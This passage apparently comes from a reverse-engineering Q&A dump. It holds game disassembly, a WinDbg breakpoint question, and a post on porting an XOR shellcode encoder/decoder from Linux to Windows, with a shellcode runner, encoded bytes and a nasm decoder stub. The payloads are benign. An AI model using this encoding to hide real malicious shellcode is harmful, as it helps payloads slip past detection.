eax&#xA;.text:084D15C0                 push    ebx&#xA;.text:084D15C1                 call    dword ptr[esi + 40h]&#xA;.text:084D15C4                 add     esp, 10h&#xA;.text:084D15C7                 push    ebx&#xA;.text:084D15C8                 call    dword ptr[esi + 110h]&#xA;.text:084D15CE                 add     esp, 10h&#xA;.text:084D15D1                 cmp[esp + 4Ch + damager], eax&#xA;.text:084D15D5                 jnz     short loc_84D15DD&#xA;.text:084D15D7                 cmp     dword ptr[edi + 28h], 0&#xA;.text:084D15DB                 jnz     short loc_84D161A&#xA;.text:084D15DD&#xA;.text:084D15DD loc_84D15DD : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 22j&#xA;.text:084D15DD; M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 53j&#xA;.text:084D15DD                 cmp     dword ptr[edi + 34h], 0&#xA;.text:084D15E1                 jnz     short loc_84D161F&#xA;.text:084D15E3                 sub     esp, 0Ch&#xA;.text:084D15E6                 mov     esi, Commands&#xA;.text:084D15EC                 lea     ebx, [esp + 58h + pos_1]&#xA;.text:084D15F0                 sub     esp, 10h&#xA;.text:084D15F3                 mov     eax, [edi]&#xA;.text:084D15F5                 push    edi&#xA;.text:084D15F6                 call    dword ptr[eax + 48h]&#xA;.text:084D15F9                 add     esp, 8&#xA;.text:084D15FC                 push    eax&#xA;.text:084D15FD                 push    ebx&#xA;.text:084D15FE                 call    dword ptr[esi + 40h]&#xA;.text:084D1601                 add     esp, 10h&#xA;.text:084D1604                 push    ebx&#xA;.text:084D1605                 call    dword ptr[esi + 110h]&#xA;.text:084D160B                 add     esp, 10h&#xA;.text:084D160E                 cmp[esp + 4Ch + damager], eax&#xA;.text:084D1612                 jz      short loc_84D161F&#xA;.text:084D1614                 cmp     dword ptr[edi + 2Ch], 0&#xA;.text:084D1618                 jz      short loc_84D161F&#xA;.text:084D161A&#xA;.text:084D161A loc_84D161A : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 59j&#xA;.text:084D161A                 mov[esp + 4Ch + var_41], 1&#xA;.text:084D161F&#xA;.text:084D161F loc_84D161F : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 5Fj&#xA;.text:084D161F; M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 90j ...&#xA;.text:084D161F                 cmp[esp + 4Ch + var_41], 0&#xA;.text:084D1624                 jz      short loc_84D163B&#xA;.text:084D1626                 sub     esp, 0Ch&#xA;.text:084D1629                 push    ebp&#xA;.text:084D162A                 mov     eax, Commands&#xA;.text:084D162F                 call    dword ptr[eax + 0DCh]&#xA;.text:084D1635                 fstp    dword ptr[edi + 20h]&#xA;.text:084D1638                 add     esp, 10h&#xA;.text:084D163B&#xA;.text:084D163B loc_84D163B : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + A2j&#xA;.text:084D163B                 mov[esp + 4Ch + var_42], 0&#xA;.text:084D1640                 cmp     dword ptr[edi + 30h], 0&#xA;.text:084D1644                 jz      short loc_84D167D&#xA;.text:084D1646                 sub     esp, 0Ch&#xA;.text:084D1649                 mov     esi, Commands&#xA;.text:084D164F                 lea     ebx, [esp + 58h + pos_1]&#xA;.text:084D1653                 sub     esp, 10h&#xA;.text:084D1656                 mov     eax, [edi]&#xA;.text:084D1658                 push    edi&#xA;.text:084D1659                 call    dword ptr[eax + 48h]&#xA;.text:084D165C                 add     esp, 8&#xA;.text:084D165F                 push    eax&#xA;.text:084D1660                 push    ebx&#xA;.text:084D1661                 call    dword ptr[esi + 40h]&#xA;.text:084D1664                 add     esp, 10h&#xA;.text:084D1667                 push    ebx&#xA;.text:084D1668                 call    dword ptr[esi + 110h]&#xA;.text:084D166E                 add     esp, 10h&#xA;.text:084D1671                 cmp[esp + 4Ch + damager], eax&#xA;.text:084D1675                 jnz     short loc_84D167D&#xA;.text:084D1677                 cmp     dword ptr[edi + 28h], 0&#xA;.text:084D167B                 jnz     short loc_84D16BA&#xA;.text:084D167D&#xA;.text:084D167D loc_84D167D : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + C2j&#xA;.text:084D167D; M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + F3j&#xA;.text:084D167D                 cmp     dword ptr[edi + 34h], 0&#xA;.text:084D1681                 jz      short loc_84D16BF&#xA;.text:084D1683                 sub     esp, 0Ch&#xA;.text:084D1686                 mov     esi, Commands&#xA;.text:084D168C                 lea     ebx, [esp + 58h + pos]&#xA;.text:084D1690                 sub     esp, 10h&#xA;.text:084D1693                 mov     eax, [edi]&#xA;.text:084D1695                 push    edi&#xA;.text:084D1696                 call    dword ptr[eax + 48h]&#xA;.text:084D1699                 add     esp, 8&#xA;.text:084D169C                 push    eax&#xA;.text:084D169D                 push    ebx&#xA;.text:084D169E                 call    dword ptr[esi + 40h]&#xA;.text:084D16A1                 add     esp, 10h&#xA;.text:084D16A4                 push    ebx&#xA;.text:084D16A5                 call    dword ptr[esi + 110h]&#xA;.text:084D16AB                 add     esp, 10h&#xA;.text:084D16AE                 cmp[esp + 4Ch + damager], eax&#xA;.text:084D16B2                 jz      short loc_84D16BF&#xA;.text:084D16B4                 cmp     dword ptr[edi + 2Ch], 0&#xA;.text:084D16B8                 jz      short loc_84D16BF&#xA;.text:084D16BA&#xA;.text:084D16BA loc_84D16BA : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + F9j&#xA;.text:084D16BA                 mov[esp + 4Ch + var_42], 1&#xA;.text:084D16BF&#xA;.text:084D16BF loc_84D16BF : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + FFj&#xA;.text:084D16BF; M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 130j ...&#xA;.text:084D16BF                 cmp[esp + 4Ch + var_42], 0&#xA;.text:084D16C4                 jz      loc_84D1758&#xA;.text:084D16CA                 sub     esp, 0Ch&#xA;.text:084D16CD                 push    ebp&#xA;.text:084D16CE                 mov     eax, Commands&#xA;.text:084D16D3                 call    dword ptr[eax + 0DCh]&#xA;.text:084D16D9                 fst     dword ptr[edi + 1Ch]&#xA;.text:084D16DC                 add     esp, 10h&#xA;.text:084D16DF                 fldz&#xA;.text:084D16E1                 fxch    st(1)&#xA;.text:084D16E3                 fucompp&#xA;.text:084D16E5                 fnstsw  ax&#xA;.text:084D16E7                 and     ah, 45h&#xA;.text:084D16EA                 xor     ah, 40h&#xA;.text:084D16ED                 jnz     short loc_84D16FA&#xA;.text:084D16EF                 fld     dword ptr[edi + 20h]&#xA;.text:084D16F2                 fsub    dword ptr[edi + 1Ch]&#xA;.text:084D16F5                 fadd    dword ptr[edi + 24h]&#xA;.text:084D16F8                 jmp     short loc_84D1700&#xA;.text:084D16FA; -------------------------------------------------------------------------- -&#xA;.text:084D16FA&#xA;.text:084D16FA loc_84D16FA : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 16Bj&#xA;.text:084D16FA                 fld     dword ptr[edi + 20h]&#xA;.text:084D16FD                 fsub    dword ptr[edi + 1Ch]&#xA;.text:084D1700&#xA;.text:084D1700 loc_84D1700 : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 176j&#xA;.text:084D1700                 fstp[esp + 4Ch + var_40]&#xA;.text:084D1704                 sub     esp, 8&#xA;.text:084D1707                 push    offset aDamage_multi_0; &quot;Damage_multiplier&quot;&#xA;.text:084D170C                 push    edi; this&#xA;.text:084D170D                 call    _ZN14ScriptImpClass19Get_Float_ParameterEPKc; ScriptImpClass::Get_Float_Parameter(char const*)&#xA;.text:084D1712                 fmul[esp + 5Ch + var_40]&#xA;.text:084D1716                 fld     st&#xA;.text:084D1718                 fadd    dword ptr[edi + 24h]&#xA;.text:084D171B                 fstp    dword ptr[edi + 24h]&#xA;.text:084D171E                 add     esp, 4&#xA;.text:084D1721                 fsubr   dword ptr[edi + 20h]&#xA;.text:084D1724                 fstp[esp + 58h + var_58]&#xA;.text:084D1727                 push    ebp&#xA;.text:084D1728                 mov     eax, Commands&#xA;.text:084D172D                 call    dword ptr[eax + 0E4h]&#xA;.text:084D1733                 mov[esp + 5Ch + var_5C], ebp&#xA;.text:084D1736                 mov     eax, Commands&#xA;.text:084D173B                 call    dword ptr[eax + 0DCh]&#xA;.text:084D1741                 fstp    dword ptr[edi + 20h]&#xA;.text:084D1744                 mov[esp + 5Ch + var_5C], ebp&#xA;.text:084D1747                 mov     eax, Commands&#xA;.text:084D174C                 call    dword ptr[eax + 0DCh]&#xA;.text:084D1752                 fstp    dword ptr[edi + 1Ch]&#xA;.text:084D1755                 add     esp, 10h&#xA;.text:084D1758&#xA;.text:084D1758 loc_84D1758 : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 142j&#xA;.text:084D1758                 mov[esp + 4Ch + var_43], 0&#xA;.text:084D175D                 cmp     dword ptr[edi + 30h], 0&#xA;.text:084D1761                 jz      short loc_84D179A&#xA;.text:084D1763                 sub     esp, 0Ch&#xA;.text:084D1766                 mov     esi, Commands&#xA;.text:084D176C                 lea     ebx, [esp + 58h + pos_1]&#xA;.text:084D1770                 sub     esp, 10h&#xA;.text:084D1773                 mov     eax, [edi]&#xA;.text:084D1775                 push    edi&#xA;.text:084D1776                 call    dword ptr[eax + 48h]&#xA;.text:084D1779                 add     esp, 8&#xA;.text:084D177C                 push    eax&#xA;.text:084D177D                 push    ebx&#xA;.text:084D177E                 call    dword ptr[esi + 40h]&#xA;.text:084D1781                 add     esp, 10h&#xA;.text:084D1784                 push    ebx&#xA;.text:084D1785                 call    dword ptr[esi + 110h]&#xA;.text:084D178B                 add     esp, 10h&#xA;.text:084D178E                 cmp[esp + 4Ch + damager], eax&#xA;.text:084D1792                 jnz     short loc_84D179A&#xA;.text:084D1794                 cmp     dword ptr[edi + 28h], 0&#xA;.text:084D1798                 jz      short loc_84D17D7&#xA;.text:084D179A&#xA;.text:084D179A loc_84D179A : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 1DFj&#xA;.text:084D179A; M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 210j&#xA;.text:084D179A                 cmp     dword ptr[edi + 34h], 0&#xA;.text:084D179E                 jz      short loc_84D17DC&#xA;.text:084D17A0                 sub     esp, 0Ch&#xA;.text:084D17A3                 mov     esi, Commands&#xA;.text:084D17A9                 lea     ebx, [esp + 58h + pos]&#xA;.text:084D17AD                 sub     esp, 10h&#xA;.text:084D17B0                 mov     eax, [edi]&#xA;.text:084D17B2                 push    edi&#xA;.text:084D17B3                 call    dword ptr[eax + 48h]&#xA;.text:084D17B6                 add     esp, 8&#xA;.text:084D17B9                 push    eax&#xA;.text:084D17BA                 push    ebx&#xA;.text:084D17BB                 call    dword ptr[esi + 40h]&#xA;.text:084D17BE                 add     esp, 10h&#xA;.text:084D17C1                 push    ebx&#xA;.text:084D17C2                 call    dword ptr[esi + 110h]&#xA;.text:084D17C8                 add     esp, 10h&#xA;.text:084D17CB                 cmp[esp + 4Ch + damager], eax&#xA;.text:084D17CF                 jz      short loc_84D17DC&#xA;.text:084D17D1                 cmp     dword ptr[edi + 2Ch], 0&#xA;.text:084D17D5                 jnz     short loc_84D17DC&#xA;.text:084D17D7&#xA;.text:084D17D7 loc_84D17D7 : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 216j&#xA;.text:084D17D7                 mov[esp + 4Ch + var_43], 1&#xA;.text:084D17DC&#xA;.text:084D17DC loc_84D17DC : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 21Cj&#xA;.text:084D17DC; M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 24Dj ...&#xA;.text:084D17DC                 cmp[esp + 4Ch + var_43], 0&#xA;.text:084D17E1                 jz      short loc_84D184B&#xA;.text:084D17E3                 sub     esp, 0Ch&#xA;.text:084D17E6                 push    ebp&#xA;.text:084D17E7                 mov     eax, Commands&#xA;.text:084D17EC                 call    dword ptr[eax + 0DCh]&#xA;.text:084D17F2                 fstp    dword ptr[edi + 1Ch]&#xA;.text:084D17F5                 add     esp, 8&#xA;.text:084D17F8                 fld     dword ptr[edi + 20h]&#xA;.text:084D17FB                 fsub    dword ptr[edi + 1Ch]&#xA;.text:084D17FE                 fstp[esp + 54h + var_40]&#xA;.text:084D1802                 push    offset aDamage_multi_0; &quot;Damage_multiplier&quot;&#xA;.text:084D1807                 push    edi; this&#xA;.text:084D1808                 call    _ZN14ScriptImpClass19Get_Float_ParameterEPKc; ScriptImpClass::Get_Float_Parameter(char const*)&#xA;.text:084D180D                 fmul[esp + 5Ch + var_40]&#xA;.text:084D1811                 add     esp, 4&#xA;.text:084D1814                 fsubr   dword ptr[edi + 20h]&#xA;.text:084D1817                 fstp[esp + 58h + var_58]&#xA;.text:084D181A                 push    ebp&#xA;.text:084D181B                 mov     eax, Commands&#xA;.text:084D1820                 call    dword ptr[eax + 0E4h]&#xA;.text:084D1826                 mov[esp + 5Ch + var_5C], ebp&#xA;.text:084D1829                 mov     eax, Commands&#xA;.text:084D182E                 call    dword ptr[eax + 0DCh]&#xA;.text:084D1834                 fstp    dword ptr[edi + 20h]&#xA;.text:084D1837                 mov[esp + 5Ch + var_5C], ebp&#xA;.text:084D183A                 mov     eax, Commands&#xA;.text:084D183F                 call    dword ptr[eax + 0DCh]&#xA;.text:084D1845                 fstp    dword ptr[edi + 1Ch]&#xA;.text:084D1848                 add     esp, 10h&#xA;.text:084D184B&#xA;.text:084D184B loc_84D184B : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 13j&#xA;.text:084D184B; M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 25Fj&#xA;.text:084D184B                 add     esp, 3Ch&#xA;.text:084D184E                 pop     ebx&#xA;.text:084D184F                 pop     esi&#xA;.text:084D1850                 pop     edi&#xA;.text:084D1851                 pop     ebp&#xA;.text:084D1852                 retn&#xA;.text:084D1852 _ZN23M00_Damage_Modifier_DME7DamagedEP17ScriptableGameObjS1_f endp&#xA;.text:084D1852&#xA;.text:084D1852; -------------------------------------------------------------------------- -&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried looking up the opcodes at that area, but it didn't help me solve it either. I'm a complete noob when it comes to assembly. &lt;/p&gt;&#xA;" OwnerUserId="21487" LastActivityDate="2017-09-06T08:07:04.587" Title="Unknown comparison" Tags="|assembly|x86|decompilation|c|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16272" PostTypeId="1" AcceptedAnswerId="16273" CreationDate="2017-09-05T14:40:42.140" Score="2" ViewCount="1061" Body="&lt;p&gt;I am trying to set a breakpoint (created in assembly) and step into an EXE file line by line to watch registers and memory behavior. I have done this easily with gdb under Linux like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb -q ./AssembledLinkedFile -tui&#xA;break _start  (or break *&amp;amp;code for C using shellcode)&#xA;run&#xA;stepi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works perfectly. However, The documentation for Windbg does not seem so straight forward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since using GoLink adds several lines of asm, I need to find my assembly and start at the beginning  (_start:)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current process.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Write my assembly program.&lt;/li&gt;&#xA;&lt;li&gt;Assemble (on linux) -  nasm -f win64 messageBox64bit.nasm -o messageBox64bit.obj&lt;/li&gt;&#xA;&lt;li&gt;Link with golink (Windows) - golink \console messageBox64bit.obj&lt;/li&gt;&#xA;&lt;li&gt;messageBox64bit.EXE created and works fine. Executed on Windows&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;After I open the messageBox64bit.EXE in Windbg, how can I  set a breakpoint in my assembly (_start:), then step into? &lt;/p&gt;&#xA;" OwnerUserId="21485" LastEditorUserId="2147" LastEditDate="2017-09-05T15:48:08.343" LastActivityDate="2017-09-05T15:48:08.343" Title="Debugging EXE File in Windbg and How to set Breakpoints in Assembly" Tags="|gdb|windbg|shellcode|nasm|assembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16273" PostTypeId="2" ParentId="16272" CreationDate="2017-09-05T15:11:45.203" Score="2" Body="&lt;p&gt;It seems  &lt;code&gt;bp $exentry&lt;/code&gt; should set breakpoint on the entrypoint, then you can continue (&lt;code&gt;g&lt;/code&gt;) until you hit it.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-09-05T15:11:45.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16274" PostTypeId="1" AcceptedAnswerId="16310" CreationDate="2017-09-05T16:59:26.110" Score="0" ViewCount="1141" Body="&lt;p&gt;Should I be able to extract shellcode from a basic (tested and working) Win7-64 message box app and place the extracted shellcode into a tested and working assembly language encoder/decoder and expect it to work? (Assembling &amp;amp; linking for windows instead of linking for linux)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tested a simple XOR encoder/decoder on linux with success using the steps listed below. &#xA;In short, I have a WORKING XOR encoder/decoder system and I tried using win764 message box shellcode with my encode/decode sytem.(I know this seems obvious I can't run shellcode from linux to windows but there is more to it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I simply replaced the extracted shellcode from the Win7 message box into my encode/decode system. Assembled with nasm -fwin64 then linked with golink on windows to get an exe and it crashes every time. (Tested steps without encoder and assemble/link/execute work perfectly)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I am assembling the XOR decoder for windows -  nasm &lt;strong&gt;-fwin64&lt;/strong&gt; (with message box shellcode pasted in)&lt;/li&gt;&#xA;&lt;li&gt;linking for windows using golink&lt;/li&gt;&#xA;&lt;li&gt;Failing to execute on windows&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This is the Linux XOR encode/decode method that works great&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Uses HelloWorld.nasm&lt;/li&gt;&#xA;&lt;li&gt;Assemble with  - nasm -felf64 HelloWorld.nasm -o HelloWorld.o&lt;/li&gt;&#xA;&lt;li&gt;Extract shellcode with -  for i in $(objdump -d [binary-or-objectfile] |grep &quot;^ &quot; |cut -f2); do echo -n '\x'$i; done;echo&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Place HelloWorld shellcode in C wrapper&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;&#xA;#include&amp;lt;string.h&amp;gt;&#xA;&#xA;unsigned char code[] = \&#xA;&quot;\xeb\x1e\x5e\x48\x31\xc0\xb0\x01\x48\x89\xc7\x48\x89\xfa\x48\x83\xc2\x22\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xdd\xff\xff\xff\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x20\x0a&quot;;&#xA;&#xA;int  main()&#xA;{&#xA;&#xA;        printf(&quot;Shellcode Length:  %d\n&quot;, (int)strlen(code));&#xA;&#xA;        int (*ret)() = (int(*)())code;&#xA;&#xA;        ret();&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Run ./HelloWorld (validated that shellcode works in C wrapper)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now, I use a simple XOR encoder with python to XOR the HelloWorld shellcode.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;1.python XOREncoder.py&lt;/p&gt;&#xA;&#xA;&lt;p&gt;XORed HelloWorld shellcode formated for nasm output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;          0x41,0xb4,0xf4,0xe2,0x9b,0x6a,0x1a,0xab,0xe2,0x23,0x6d,0xe2,0x23,0x50,0xe2,0x29,0x68,0x88,0xa5,0xaf,0xe2,0x9b,0x6a,0xe2,0x29,0x6a,0x96,0xe2,0x9b,0x55,0xa5,0xaf,0x42,0x77,0x55,0x55,0x55,0xe2,0xcf,0xc6,0xc6,0xc5,0x8a,0xfd,0xc5,0xd8,0xc6,0xce,0x8a,0xa0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Place XORed shellcode in XORdecoder.nasm like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global _start&#xA;&#xA;section .text&#xA;&#xA;_start:&#xA;&#xA;&#xA;start:&#xA;        jmp find_address&#xA;&#xA;decoder:&#xA;        pop rdi&#xA;        xor rcx, rcx&#xA;        add cl, 50&#xA;decode:&#xA;        xor byte [rdi], 0xAA&#xA;        inc rdi&#xA;        loop decode&#xA;&#xA;        jmp short encoded_shellcode&#xA;&#xA;find_address:&#xA;        call decoder&#xA;&#xA;        encoded_shellcode: db 0x41,0xb4,0xf4,0xe2,0x9b,0x6a,0x1a,0xab,0xe2,0x23,0x6d,0xe2,0x23,0x50,0xe2,0x29,0x68,0x88,0xa5,0xaf,0xe2,0x9b,0x6a,0xe2,0x29,0x6a,0x96,0xe2,0x9b,0x55,0xa5,0xaf,0x42,0x77,0x55,0x55,0x55,0xe2,0xcf,0xc6,0xc6,0xc5,0x8a,0xfd,0xc5,0xd8,0xc6,0xce,0x8a,0xa0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Assembled with - nasm -felf64 HelloWorldEncoded.nasm -o HelloWorldEncoded.o&lt;/li&gt;&#xA;&lt;li&gt;Compiled with GCC and tested. WORKS!&#xA;&#xA;&lt;hr&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOW, here is the issue on Windows 7 64&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a great example of a WIN 7 64 bit messagebox.nasm that just pops a message box &lt;a href=&quot;https://www.tophertimzen.com/blog/windowsx64Shellcode/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. So naturally I wanted to test my XOR decoder. So I tried to assemble and link my decoder for windows like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested this using these steps described in the link:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;nasm -f &lt;strong&gt;win64&lt;/strong&gt; messageBox64bit.asm -o messageBox64bit.obj &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;golink /console messageBox64bit.obj&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Execute on Win764  ./messageBox64bit.exe&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;GREAT! messageBox64bit.exe pops the message box. Now the ISSUE.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I assembled messageBox64bit.nasm with nasm&lt;/li&gt;&#xA;&lt;li&gt;ran extracted messagebox shellcode through XOR encoder&lt;/li&gt;&#xA;&lt;li&gt;pasted asm friendly XOR encoded shellcode into decoder&lt;/li&gt;&#xA;&lt;li&gt;Adjust RCX (cl) counter for new shellcode length&lt;/li&gt;&#xA;&lt;li&gt;Assembled decoder with nasm with -fwin64 option&lt;/li&gt;&#xA;&lt;li&gt;Linked with golink /console messageBox64bit.obj&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Try to execute on WIN 7 64.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It crashes every damn time What is wrong here?. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;EDIT1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Crashes in windbg on the XOR function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Access violation - code c0000005 (first chance)&#xA;First chance exceptions are reported before any exception handling.&#xA;This exception may be expected and handled.&#xA;xordecoder2+0x1009:&#xA;00000000`00401009 8037aa          xor     byte ptr [rdi],0AAh ds:00000000`00401018=e7&#xA;0:000&amp;gt; t&#xA;ds:00000000`00401018=e7&#xA;0:000&amp;gt; t&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit2. Following the advice from Igor below, I edited the EXE to have the .text section writeable. Apparently the .text section is not writeable for a windows EXE. Error changed to this now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    (1f08.1af0): Unknown exception - code c0000096 (first chance)&#xA;    (1f08.1af0): Unknown exception - code c0000096 (!!! second chance !!!)&#xA;    *** ERROR: Module load completed but symbols could not be loaded for C:\data_section_xorencoder7.exe&#xA;    data_section_xorencoder7+0x1016:&#xA;    00000000`00401016 e7ff            out     0FFh,eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT&#xA;Nasm code. XORed shellcode.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    bits 64&#xA;    section .text&#xA;    global start&#xA;&#xA;    start:&#xA;            jmp find_address&#xA;&#xA;    decoder:&#xA;            pop rdi&#xA;            xor rcx, rcx&#xA;            add cx, 260&#xA;    decode:&#xA;            xor byte [rdi], 0xAA&#xA;            inc rdi&#xA;            loop decode&#xA;&#xA;            jmp short encoded_shellcode&#xA;&#xA;    find_address:&#xA;            call decoder&#xA;&#xA;&#xA;            encoded_shellcode: 0xe2,0x29,0x46,0x82,0xe2,0x29,0x4e,0x5a,0xcf,0xe6,0x21,0x8e,0x8f,0xca,0xaa,0xaa,0xaa,0xe7,0x21,0xce,0x8e,0xb2,0xe7,0x21,0xce,0x8e,0x8a,0xe7,0x21,0x8e,0x8e,0xe7,0x21,0xd6,0x8e,0x8a,0xe7,0x21,0x8e,0x8e,0xe7,0x21,0xce,0x8e,0x8a,0x10,0x24,0xe4,0xa4,0x46,0xe6,0x23,0x4b,0x42,0xc2,0xaa,0xaa,0xaa,0x41,0x9e,0xf3,0x55,0x7a,0x10,0x02,0x08,0xe7,0x16,0xe2,0x23,0x6b,0x42,0xfc,0xaa,0xaa,0xaa,0xe2,0x23,0x69,0xe7,0x9b,0x63,0x41,0x94,0xeb,0xf2,0x41,0x82,0xf0,0xe2,0x9b,0x63,0x55,0x79,0x10,0xda,0x67,0x95,0x87,0xe6,0x23,0x53,0x42,0x9d,0xaa,0xaa,0xaa,0xe2,0x9b,0x63,0x55,0x7a,0x42,0x6d,0x55,0x55,0x55,0xdf,0xd9,0xcf,0xd8,0x99,0x98,0x84,0xce,0xc6,0xc6,0x42,0x79,0x55,0x55,0x55,0xfe,0xc2,0xc3,0xd9,0x8a,0xc3,0xd9,0x8a,0xcc,0xdf,0xc4,0x8b,0xaa,0x42,0x17,0x55,0x55,0x55,0x9a,0xd2,0xce,0xcf,0xcb,0xce,0xc8,0xcf,0xcf,0xcc,0xe3,0x23,0x67,0xcd,0xeb,0x21,0xef,0x96,0xcd,0xef,0x21,0x1e,0xaf,0x22,0xaa,0xaa,0xaa,0xef,0xab,0x44,0xcd,0xef,0x21,0xfc,0xb2,0xcd,0xeb,0x21,0xf4,0x8a,0xee,0xab,0x41,0xcd,0x49,0x95,0xeb,0x55,0x60,0xcd,0xe8,0x21,0x9e,0x39,0xee,0xab,0x44,0x9b,0x55,0x9b,0x6a,0x56,0x06,0x2e,0x6a,0xde,0xad,0x6b,0x65,0xa7,0xab,0x6d,0x41,0x5e,0x93,0x7d,0xdf,0x77,0xcd,0xeb,0x21,0xf4,0x8e,0xee,0xab,0x41,0x9b,0x63,0xcc,0xcd,0xe8,0x21,0xa6,0xf9,0xcd,0xeb,0x21,0xf4,0xb6,0xee,0xab,0x41,0xcd,0x21,0xae,0x21,0xee,0xab,0x42,0x69&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21485" LastEditorUserId="21485" LastEditDate="2017-09-07T01:21:34.333" LastActivityDate="2017-09-09T18:27:31.983" Title="Working Linux assembly XOR Encoder/Decoder Failing on Windows" Tags="|assembly|exploit|shellcode|reassembly|nasm|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
